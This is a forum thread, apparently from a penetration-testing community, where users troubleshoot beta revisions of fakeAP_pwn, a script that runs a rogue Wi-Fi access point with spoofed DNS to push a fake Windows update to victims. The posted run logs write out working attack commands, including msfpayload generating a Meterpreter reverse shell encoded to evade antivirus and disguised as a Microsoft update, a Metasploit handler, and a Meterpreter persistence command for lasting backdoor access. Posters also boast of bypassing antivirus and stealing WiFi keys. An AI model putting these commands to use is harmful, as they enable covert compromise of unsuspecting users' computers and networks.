[Script] [Video] FakeAP_pwn (v0.2.1)

[g0tmi1k]

Newest version.

fakeAP_pwn-v0.3~Beta78.tar.gz
*OUT OF DATE*

[pentest09]

Hooray! dns is working on r78 beta go on g0tmilk only problem is the exploit not completing the stage reverse. will try later with my own meterpreter payload to check it.

other than that wot a pukka setup keep up the good work both of you.

will keep my eye out for further improvements..

[mitsumi]

can help me solved this problem?

root@bt:/fakeAP_pwn# bash fakeAP_pwn.sh[*] fakeAP_pwn v0.3 (Beta-#78)
[>] Checking environment...
[>] Setting up wireless card...
[>] Creating: Scripts
[>] Creating: Exploit (Windows)
[>] Starting: Fake access point
[>] Configuring environment...
[>] Starting: DHCP
[>] Starting: DNS
[>] Starting: Metasploit
[>] Starting: Web server
[i] Waiting for target to run the "update"
[i] Target infected!
[>] Giving internet access...
iptables: No chain/target/match by that name
[>] Opening WiFi Keys...
[-] Error running command. Error code: 3
fakeAP_pwn.sh: line 1438: syntax error: unexpected end of file
root@bt:/fakeAP_pwn#

hi all. can someone help me solved this problem?

root@bt:/fakeAP_pwn# bash fakeAP_pwn.sh[*] fakeAP_pwn v0.3 (Beta-#78)
[>] Checking environment...
[>] Setting up wireless card...
[>] Creating: Scripts
[>] Creating: Exploit (Windows)
[>] Starting: Fake access point
[>] Configuring environment...
[>] Starting: DHCP
[>] Starting: DNS
[>] Starting: Metasploit
[>] Starting: Web server
[i] Waiting for target to run the "update"
[i] Target infected!
[>] Giving internet access...
iptables: No chain/target/match by that name
[>] Opening WiFi Keys...
[-] Error running command. Error code: 3
fakeAP_pwn.sh: line 1438: syntax error: unexpected end of file
root@bt:/fakeAP_pwn#

[g0tmi1k]

Hooray! dns is working on r78 beta go on g0tmilk only problem is the exploit not completing the stage reverse. will try later with my own meterpreter payload to check it.

other than that wot a pukka setup keep up the good work both of you.

will keep my eye out for further improvements..

Thanks for letting me and I'm glad that ts working!
When you say its not completing, what the happens/output?
What was the outcome of your own payload?

Thanks for the thanks - and I'm feeling/thinking v0.3 FINAL is soon...

[joker5bb]

I added some more fixes to svn
and I tested hostapd, in non-transparent mode and it works very well (airbase-ng is considered fail)
I was able to get a session open as well with wkv, and it actually bypassed my AV
i did not test the other payloads, or the other apmodes yet, but will soon

the only thing left really is to add firewall rules

[pentest09]

Hi all got the same error as mitsumi line 1438, but....still completed the exploit i the end got my meterpreter shell and wkv keys its just a long time to complete thought the stager got stuck, but did try it in vmware and target was external pc using a wifi n card, may i just say it did work very fast in earlier versions using same setup.
But hey its getting there and a lot of work is taking place by the looks of it so respect. can the persistance script be used also:
{run persistence -r 192.168.1.xx -p 9090 -A -X -i 300} to run on startup once keys are recovered you got full access on real network with connection back anytime .

Havent got round to trying my payload yet as i need to look in the script how it affects other exploits in the script (just a simple meterpreter shikata_gai_nai reverse tcp) but bypasses All Avs at the moment i have tested. and gives a shell everytime quickfast. previoulsy i just manually added it to you www folder after .exe was created and replaced to bypass but then you got multi encoding sorted.

This just proves that you must be very careful when connecting to ap not your own. Social engineering or what!!!!

keep it up lads..

[airwolf3000]

About Revision 81

Hi guys I have been following the thread for about a month.
last night I give it a try to the latest Revision 81, not having any luck with the previous version - so far to report -

On the DHCP window:

'DHCPREQUEST ON 10.0.0.150 FROM 00:17:9A:BD:f7:bf (cesar) via at0
Unable to add forward map from cesar.Home.com to 10.0.0.150: timed out"

I can ping from my the other Laptop to 10.0.0.1
32 bytes 2ms
running XP SP3 - Disable: AV and firewalls

I also try from the XP Laptop

http://10.0.0.1/Windows-KB183905-x86-ENU.exe
http://update.microsoft.com/Windows-KB183905-x86-ENU.exe

without any success - no internet in Laptop running XP

The output files looks like this:

[*] fakeAP_pwn v0.3 (Beta-#81)
[>] Checking environment...
[+] Testing internet connection
[i]       interface=eth0
[i]    wifiInterface=wlan0
[i] monitorInterface=mon0
[i]      apInterface=at0
[i]            ESSID=GGGratis-WiFi
[i]    fakeAPchannel=1
[i]           apType=airbase-ng
[i]           apMode=transparent
[i]          payload=wkv
[i]     backdoorPath=/root/backdoor.exe
[i]              www=/var/www/fakeAP_pwn
[i]              mtu=1500
[i]      respond2All=false
[i]        fakeAPmac=set
[i]       macAddress=00:05:7c:9a:58:3f
[i]           extras=false
[i]            debug=false
[i]      diagnostics=false
[i]          verbose=2
[i]        gatewayIP=192.168.0.1
[i]            ourIP=192.168.0.3
[i]             port=61736
Command: ifconfig eth0 up && sleep 1
[>] Stopping services and programs...
Command: killall dhcpd3 apache2 wicd-client airbase-ng hostapd xterm
Command: /etc/init.d/dhcp3-server stop
Command: /etc/init.d/apache2 stop
Command: /etc/init.d/wicd stop
[>] Setting up wireless card...
Command: ifconfig wlan0 down
Command: ifconfig wlan0 up
Command: airmon-ng start wlan0
[>] Changing MAC address...
Command: ifconfig mon0 down && macchanger -m 00:05:7c:9a:58:3f mon0 && ifconfig mon0 up
[i]      macAddress=00:05:7c:9a:58:3f (Rco Security Ab)
[>] Creating: Scripts
Created: /tmp/fakeAP_pwn.rb
Created: /tmp/fakeAP_pwn.dhcp
Created: /etc/apache2/sites-available/fakeAP_pwn
Created: /tmp/fakeAP_pwn.dns
[>] Creating: Exploit (Windows)
Command: /opt/metasploit3/bin/msfpayload windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4564 R | /opt/metasploit3/bin/msfencode -x /var/www/fakeAP_pwn/sbd.exe -t exe -e x86/shikata_ga_nai -c 10 -o /var/www/fakeAP_pwn/Windows-KB183905-x86-ENU.exe
[>] Starting: Fake access point
Command: airbase-ng -a 00:05:7c:9a:58:3f -W 0 -c 1 -e "GGGratis-WiFi" -v mon0
[>] Configuring environment...
Command: chmod 775 /var/run/
Command: touch /var/lib/dhcp3/dhcpd.leases
[>] Starting: DHCP
Command: dhcpd3 -d -f -cf /tmp/fakeAP_pwn.dhcp at0
[>] Starting: DNS
Command: dnsspoof -i at0 -f /tmp/fakeAP_pwn.dns
[>] Starting: Metasploit
Command: /opt/metasploit3/bin/msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4564 AutoRunScript=/tmp/fakeAP_pwn.rb INTERFACE=at0 E
[>] Starting: Web server
[-] Need to renew certificate

[>] Cleaning up...
Command: killall xterm
Removed: /tmp/fakeAP_pwn.rb
Removed: /tmp/fakeAP_pwn.dhcp
Removed: /tmp/fakeAP_pwn.dns
Command: ls /etc/apache2/sites-available/ | xargs a2dissite fakeAP_pwn && a2ensite default* && a2dismod ssl && /etc/init.d/apache2 stop
Command: rm /etc/apache2/sites-available/fakeAP_pwn
Command: airmon-ng stop mon0
[>] Done! (= Have you... g0tmi1k?

Thanks

[airwolf3000]

About Revision 81

Hi guys I have been following the thread for about a month.
last night I give it a try to the latest Revision 81, not having any luck with the previous version - so far to report -

On the DHCP window:

'DHCPREQUEST ON 10.0.0.150 FROM 00:17:9A:BD:f7:bf (cesar) via at0
Unable to add forward map from cesar.Home.com to 10.0.0.150: timed out"

I can ping from my the other Laptop to 10.0.0.1
32 bytes 2ms
running XP SP3 - Disable: AV and firewalls

I also try from the XP Laptop:

hxxx://10.0.0.1/Windows-KB183905-x86-ENU.exe
hxxx://update.microsoft.com/Windows-KB183905-x86-ENU.exe

Without any success - no internet in Laptop running XP

Attach the output file

Thanks

[joker5bb]

airwolf3000

Re: [Script] [Video] FakeAP_pwn (v0.2.1)
About Revision 81

Hi guys I have been following the thread for about a month.
last night I give it a try to the latest Revision 81, not having any luck with the previous version - so far to report -

On the DHCP window:

'DHCPREQUEST ON 10.0.0.150 FROM 00:17:9A:BD:f7:bf (cesar) via at0
Unable to add forward map from cesar.Home.com to 10.0.0.150: timed out"

I can ping from my the other Laptop to 10.0.0.1
32 bytes 2ms
running XP SP3 - Disable: AV and firewalls

I also try from the XP Laptop:

hxxx://10.0.0.1/Windows-KB183905-x86-ENU.exe
hxxx://update.microsoft.com/Windows-KB183905-x86-ENU.exe

Without any success - no internet in Laptop running XP

Attach the output file

Thanks

it should be fixed in r83 so test it

[siviog1]

Yo!!! g0tmi1k I think your vids are awesome and you have thought me a lot by watching them. I have always wanted to know how to do these things, but I really had no one to teach me nor the luxury of reading countless text files. Just wanted to stop by and say thanks for the vids and keep them coming!!!!